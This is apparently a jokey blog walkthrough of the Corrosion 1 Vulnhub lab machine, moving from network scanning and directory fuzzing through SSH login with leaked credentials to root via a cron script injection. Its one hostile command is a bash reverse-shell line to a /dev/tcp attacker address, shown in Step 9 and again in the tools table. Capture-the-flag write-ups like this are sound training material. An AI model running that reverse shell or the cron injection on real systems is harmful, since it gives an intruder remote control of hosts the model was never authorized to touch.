Post

Corrosion 1 Vulnhub Walkthrough

An entertaining, step-by-step walkthrough of the Corrosion 1 Vulnhub machine — complete with screenshots, sarcasm, and the glorious journey from clueless to root.

Corrosion 1 Vulnhub Walkthrough

⚠️ Spoiler alert: This walkthrough contains humor, caffeine, and hacking.


🧠 Introduction

Corrosion 1 on Vulnhub — a rusty Linux box that hides its secrets better than I hide snacks from my roommates.
The goal? Get two flags — user and root.
The method? Scan, poke, fuzz, escalate, and pray nothing breaks (except maybe Randy’s password).


🛰️ Step 1: Network Discovery

The hunt begins! We need the target IP before we can cause any “ethical chaos.”
Let’s unleash our digital bloodhound — netdiscover.

1
sudo netdiscover -r 192.168.1.0/24

Netdiscover Results

🎯 Target found! The IP looks like it’s hiding something sinister… or just running Apache.


🔦 Step 2: Port Scanning with Nmap

Time for our favorite noisy friend — nmap. Because guessing open ports is for amateurs.

1
nmap -sC -sV -p- 192.168.1.14

Nmap Results

We see port 22 (SSH) and port 80 (HTTP) open. The HTTP service screams “please fuzz me.”


🌐 Step 3: Web Exploration

Visiting the website gives us a simple blog. Nothing too fancy, but hackers know — plain sites often hide spicy secrets.

Blog Page

The homepage was cleaner than my resume. So, we dive into /archives next.

Archives Page

Still nothing obvious, but remember: the quiet ones always hide the best stuff.


🏗️ Step 4: Fuzzing for Hidden Directories

If you ever feel lost, remember — Gobuster never does.

1
gobuster dir -u http://192.168.1.14 -w /usr/share/wordlists/dirb/common.txt

Gobuster Fuzz

Soon enough…

Gobuster Results

…and more fuzzing magic.

Gobuster Fuzz Result

We discover directories like /backup and /tasks. Jackpot!


📦 Step 5: Investigating the Backup

The /backup directory gives us a .zip or .bak file (because apparently, nobody told admins about .gitignore).

Backup File

After downloading and unzipping it, we find… credentials!

My Password

Looks like a username and password for “Randy.” Ah yes, Randy — the digital equivalent of “password123” guy.


🧩 Step 6: Checking Task Lists and Clues

Peeking into /tasks page, we see the developer left some helpful breadcrumbs.

Tasks Tasks List

The notes indicate backup automation and references to old logs. A trail of digital breadcrumbs to follow.


🔐 Step 7: SSH Login as Randy

Armed with Randy’s credentials, we go for SSH.

1
ssh randy@192.168.1.14

Randy Login

🎉 And… we’re in! The sweet sound of the terminal welcoming us. Randy, my friend, you’ve left your door wide open.


🕵️ Step 8: Peeking Around as Randy

Naturally, we go snooping around Randy’s home folder. Hidden notes? Suspicious scripts? Weird lunch reminders?

We also inspect /var/log/auth.log for interesting logins.

Auth Log

Seems there’s a cron job or script running frequently — hinting at privilege escalation potential.


💥 Step 9: Getting Shell Access (Reverse Shell)

While exploring, we set up a reverse shell for better control (and because typing single commands over SSH is boring).

1
bash -i >& /dev/tcp/192.168.1.5/4444 0>&1

Get Shell

Connection received! We now have a shell that obeys without question — the dream of every sysadmin turned evil.


🧰 Step 10: Privilege Escalation – Enumeration

Before we go full “root,” let’s analyze the system with LinPEAS — the green scroll of destiny.

LinPEAS Output

It points out a writable script and potential misconfiguration. A small tweak here, a sneaky command there, and we’re almost home.


⚙️ Step 11: Exploit Misconfigurations

We find a suspicious backup or cron-related script that runs as root. If we insert our reverse shell into it, we might get a root session.

Backup Script Discovery

We also double-check with SearchSploit for any known vulnerabilities related to the system version.

Searchsploit Results

Sometimes, old software is a hacker’s best friend.


🧑‍💻 Step 12: System Recon & Proof of Concept

Before execution, we analyze system processes and tasks.

Fuzzing Attempt System Tasks Page

We confirm the vulnerable script path, modify it with our payload, and wait for cron to do its thing.


👑 Step 13: Root Access Achieved

And then… magic! The cron executes our injected shell, giving us root privileges.

Root Flag

whoami now proudly says root. Somewhere, Randy sheds a tear.


🧾 Step 14: Capture the User Flag

First things first — we grab the user.txt.

User Flag

We read it like poetry. Short, powerful, and proof of victory (phase one).


🧱 Step 15: Capture the Root Flag

Finally, in /root/, lies the ultimate reward.

Root Flag Again

Mission complete. I may not have saved the world, but I sure owned Randy’s server.


🧮 Step 16: Methodology Table

StepDescriptionTool(s) UsedResult
1️⃣Network DiscoverynetdiscoverFound target IP
2️⃣Port ScanningnmapFound open ports 22 & 80
3️⃣Web ExplorationBrowserFound blog & archive
4️⃣Directory FuzzingGobusterDiscovered /backup, /tasks
5️⃣Backup AnalysisManualExtracted Randy’s credentials
6️⃣Task InvestigationBrowserDiscovered automation hints
7️⃣SSH LoginsshAccessed user shell
8️⃣Log Inspectioncat /var/log/auth.logFound cron activity
9️⃣Reverse ShellBashUpgraded shell
🔟Privilege EscalationLinPEASFound writable script
11️⃣ExploitCron InjectionGained root access
12️⃣Trophy Timecat user.txt, cat root.txtFlags captured

🧰 Tools Used Summary

ToolPurposeCommand Example
netdiscoverDiscover devices on LANsudo netdiscover -r 192.168.1.0/24
nmapPort & service scannmap -sC -sV -p- IP
GobusterDirectory enumerationgobuster dir -u URL -w wordlist
SearchSploitExploit searchsearchsploit keyword
LinPEASPrivilege escalation check./linpeas.sh
SSHSecure loginssh user@host
BashReverse shellbash -i >& /dev/tcp/attackerIP/port 0>&1

🧃 Conclusion

Corrosion 1 was like peeling a rusty onion — every layer made me cry, but the root was totally worth it. This machine taught:

  • Enumeration patience 🕵️‍♂️
  • Password hygiene (Randy, take notes)
  • Cron exploitation 🧙‍♂️
  • The joy of seeing whoami: root 💀

💡 Moral of the story: Backups and crons are like unguarded cookies — delicious, but dangerous.


Final Words: If you made it this far — congrats, you’re officially corroded (in a good way). Now go hydrate, touch some grass, and maybe change your passwords.


Because if it’s not documented, did it even happen?

ScreenshotDescription
Screenshot 1Initial setup of VM
Screenshot 2Early recon
Screenshot 3Enumeration progress
Screenshot 4Editing the exploit
Screenshot 5Cron job testing
Screenshot 6Successful root shell

🎉 That’s a wrap! Now excuse me while I go thank Randy for being the unsung hero of misconfigurations.


This post is licensed under CC BY 4.0 by the author.